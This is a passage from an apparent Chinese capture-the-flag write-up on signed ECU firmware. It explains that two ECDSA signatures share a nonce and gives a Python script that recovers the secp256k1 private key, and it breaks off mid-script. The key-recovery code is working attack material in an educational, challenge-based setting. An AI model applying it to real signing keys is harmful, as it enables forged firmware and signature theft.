<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">➜  xxd -p .<span class="se">\E</span>CUB.hex.sig
</span></span><span class="line"><span class="ln">2</span><span class="cl">cb8f2f4901e5dc0610a562309a0ba238289edd5a6a819a115ca3b2ac802e
</span></span><span class="line"><span class="ln">3</span><span class="cl">758990b2130178e5aa4501e0da0fa9fa02a82c94f9f137664e43562d040d
</span></span><span class="line"><span class="ln">4</span><span class="cl">68b21262
</span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl">➜  xxd -p .<span class="se">\E</span>CUC.hex.sig
</span></span><span class="line"><span class="ln">7</span><span class="cl">cb8f2f4901e5dc0610a562309a0ba238289edd5a6a819a115ca3b2ac802e
</span></span><span class="line"><span class="ln">8</span><span class="cl">7589ab711a35e232b03c5baa9ad2d1f3f74d348381ff31203ab3ce66f598
</span></span><span class="line"><span class="ln">9</span><span class="cl">0de2f945</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Powershell里用<code>Format-Hex .\ECUC.hex.sig</code>也能看</p>
<p>根据前面的<code>SECP256k1</code>就可以知道这是ECDSA算法了，学习这个请看：<a
  href="https://zhuanlan.zhihu.com/p/97953640ECDSA" rel="nofollow noopener noreferrer" target="_blank"
  >https://zhuanlan.zhihu.com/p/97953640ECDSA<span style="user-select:none"> ↗</span></a
>
，ECDSA算法的签名，前一半是R，后一半是S，160-bit q 的情况，每部分是20字节，这题是<code>SECP256k1</code>，每个部分32字节。</p>
<p>前32个字节（R）一样就是k一样，可以通过 重复k攻击（nonce重用攻击） 恢复私钥，这个攻击是不需要公钥的，这一题给公钥是为了让我们验证用的。比如用私钥签发一个文件，用公钥验证一下。</p>
<p>需要两个参数</p>
<ol>
<li><strong>椭圆曲线参数</strong> (secp256k1)</li>
<li><strong>两个消息的哈希值</strong> (z1 和 z2)</li>
</ol>
<p>这里Qwen3-Coder再次出手，加上我的改造：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="c1"># -*- coding: utf-8 -*-</span>
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="s2">ECDSA私钥恢复工具
</span></span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="s2">通过两个使用相同nonce的签名来恢复私钥
</span></span></span><span class="line"><span class="ln">  6</span><span class="cl"><span class="s2">无需公钥
</span></span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">
</span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">
</span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">    <span class="c1"># 文件名配置</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">    <span class="n">sig_file1</span> <span class="o">=</span> <span class="s2">&#34;challenge_signed_firmware_files\ECUB.hex.sig&#34;</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">    <span class="n">sig_file2</span> <span class="o">=</span> <span class="s2">&#34;challenge_signed_firmware_files\ECUC.hex.sig&#34;</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">    <span class="n">msg_file1</span> <span class="o">=</span> <span class="s2">&#34;challenge_signed_firmware_files\ECUB.hex&#34;</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">    <span class="n">msg_file2</span> <span class="o">=</span> <span class="s2">&#34;challenge_signed_firmware_files\ECUC.hex&#34;</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">    
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">    <span class="c1"># secp256k1曲线参数</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="mh">0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141</span>  <span class="c1"># 阶数</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">    
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;=== ECDSA私钥恢复工具 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;签名文件1: </span><span class="si">{</span><span class="n">sig_file1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;签名文件2: </span><span class="si">{</span><span class="n">sig_file2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;消息文件1: </span><span class="si">{</span><span class="n">msg_file1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;消息文件2: </span><span class="si">{</span><span class="n">msg_file2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;曲线阶数 n = 0x</span><span class="si">{</span><span class="n">n</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">    <span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">    
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">        <span class="c1"># 读取签名文件</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;=== 读取签名数据 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">        <span class="n">r1</span><span class="p">,</span> <span class="n">s1</span> <span class="o">=</span> <span class="n">read_sig_file</span><span class="p">(</span><span class="n">sig_file1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">        <span class="n">r2</span><span class="p">,</span> <span class="n">s2</span> <span class="o">=</span> <span class="n">read_sig_file</span><span class="p">(</span><span class="n">sig_file2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="c1"># 计算消息哈希</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">=== 计算消息哈希 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">        <span class="n">z1</span> <span class="o">=</span> <span class="n">get_file_hash</span><span class="p">(</span><span class="n">msg_file1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">        <span class="n">z2</span> <span class="o">=</span> <span class="n">get_file_hash</span><span class="p">(</span><span class="n">msg_file2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">        <span class="c1"># 恢复私钥</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">        <span class="n">k</span><span class="p">,</span> <span class="n">private_key</span> <span class="o">=</span> <span class="n">recover_private_key</span><span class="p">(</span><span class="n">r1</span><span class="p">,</span> <span class="n">s1</span><span class="p">,</span> <span class="n">r2</span><span class="p">,</span> <span class="n">s2</span><span class="p">,</span> <span class="n">z1</span><span class="p">,</span> <span class="n">z2</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">        <span class="c1"># 输出结果</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">=== 最终结果 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;使用的Nonce (十六进制): 0x</span><span class="si">{</span><span class="n">k</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;使用的Nonce (十进制): </span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;恢复的私钥 (十六进制): 0x</span><span class="si">{</span><span class="n">private_key</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;恢复的私钥 (十进制): </span><span class="si">{</span><span class="n">private_key</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">    <span class="k">except</span> <span class="ne">FileNotFoundError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;错误: 找不到文件 - </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;请确保以下文件存在:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  - </span><span class="si">{</span><span class="n">sig_file1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  - </span><span class="si">{</span><span class="n">sig_file2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  - </span><span class="si">{</span><span class="n">msg_file1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  - </span><span class="si">{</span><span class="n">msg_file2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;错误: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">
</span></span><span class="line"><span class="ln"> 61</span><span class="cl"><span class="k">def</span> <span class="nf">read_sig_file</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">    <span class="s2">&#34;&#34;&#34;读取sig文件并解析ECDSA签名&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">            <span class="n">hex_data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;文件 </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2"> 内容: </span><span class="si">{</span><span class="n">hex_data</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">    <span class="k">except</span> <span class="ne">FileNotFoundError</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">        <span class="c1"># 如果文件不存在，直接使用文件名作为hex字符串</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">&#39;.sig&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">),</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">            <span class="n">hex_data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">    
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="c1"># 解析签名数据</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">128</span><span class="p">:</span>  <span class="c1"># 至少64字节</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="c1"># 假设前64字节是r和s</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">        <span class="n">r_hex</span> <span class="o">=</span> <span class="n">hex_data</span><span class="p">[:</span><span class="mi">64</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">        <span class="n">s_hex</span> <span class="o">=</span> <span class="n">hex_data</span><span class="p">[</span><span class="mi">64</span><span class="p">:</span><span class="mi">128</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r_hex</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">s_hex</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  r = 0x</span><span class="si">{</span><span class="n">r</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  s = 0x</span><span class="si">{</span><span class="n">s</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">        <span class="k">return</span> <span class="n">r</span><span class="p">,</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">        <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;签名文件 </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2"> 数据不足&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">
</span></span><span class="line"><span class="ln"> 87</span><span class="cl"><span class="k">def</span> <span class="nf">get_file_hash</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">    <span class="s2">&#34;&#34;&#34;计算文件的SHA-256哈希值&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="n">content</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">        <span class="n">hash_value</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">content</span><span class="p">)</span><span class="o">.</span><span class="n">digest</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">        <span class="n">hash_int</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">hash_value</span><span class="p">,</span> <span class="s1">&#39;big&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;文件 </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2"> SHA256: </span><span class="si">{</span><span class="n">hash_int</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">        <span class="k">return</span> <span class="n">hash_int</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">
</span></span><span class="line"><span class="ln"> 96</span><span class="cl"><span class="k">def</span> <span class="nf">recover_private_key</span><span class="p">(</span><span class="n">r1</span><span class="p">,</span> <span class="n">s1</span><span class="p">,</span> <span class="n">r2</span><span class="p">,</span> <span class="n">s2</span><span class="p">,</span> <span class="n">z1</span><span class="p">,</span> <span class="n">z2</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">    <span class="s2">&#34;&#34;&#34;通过两个签名恢复私钥&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">=== 私钥恢复计算 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">    
</span></span><span class="line"><span class="ln">100</span><span class="cl">    <span class="c1"># 检查是否使用了相同的r值（nonce重用）</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">    <span class="k">if</span> <span class="n">r1</span> <span class="o">!=</span> <span class="n">r2</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;警告: 两个签名的r值不同，可能不适用nonce重用攻击&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;r1 = 0x</span><span class="si">{</span><span class="n">r1</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;r2 = 0x</span><span class="si">{</span><span class="n">r2</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">    
</span></span><span class="line"><span class="ln">106</span><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">r1</span>  <span class="c1"># 使用第一个签名的r值</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">    
</span></span><span class="line"><span class="ln">108</span><span class="cl">    <span class="c1"># 计算 nonce k = (z1 - z2) / (s1 - s2) mod n</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">    <span class="n">s_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">s1</span> <span class="o">-</span> <span class="n">s2</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">    <span class="n">z_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">z1</span> <span class="o">-</span> <span class="n">z2</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">    
</span></span><span class="line"><span class="ln">112</span><span class="cl">    <span class="c1"># 处理负数</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">    <span class="k">if</span> <span class="n">s_diff</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">        <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s2">&#34;s1 == s2，无法计算，请检查数据&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">    
</span></span><span class="line"><span class="ln">116</span><span class="cl">    <span class="k">if</span> <span class="n">s_diff</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">117</span><span class="cl">        <span class="n">s_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">s_diff</span> <span class="o">+</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">    <span class="k">if</span> <span class="n">z_diff</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">        <span class="n">z_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">z_diff</span> <span class="o">+</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">    
</span></span><span class="line"><span class="ln">121</span><span class="cl">    <span class="c1"># 计算k</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">    <span class="n">k</span> <span class="o">=</span> <span class="p">(</span><span class="n">z_diff</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">s_diff</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Nonce (k) = 0x</span><span class="si">{</span><span class="n">k</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">    
</span></span><span class="line"><span class="ln">125</span><span class="cl">    <span class="c1"># 计算私钥 d = (s1 * k - z1) / r mod n</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">s1</span> <span class="o">*</span> <span class="n">k</span> <span class="o">-</span> <span class="n">z1</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">127</span><span class="cl">    <span class="k">if</span> <span class="n">temp</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">        <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">+</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">    
</span></span><span class="line"><span class="ln">130</span><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Private key (d) = 0x</span><span class="si">{</span><span class="n">d</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">    
</span></span><span class="line"><span class="ln">133</span><span class="cl">    <span class="c1"># 验证计算</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">    <span class="n">d_verify</span> <span class="o">=</span> <span class="p">((</span><span class="n">s2</span> <span class="o">*</span> <span class="n">k</span> <span class="o">-</span> <span class="n">z2</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Verification key = 0x</span><span class="si">{</span><span class="n">d_verify</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
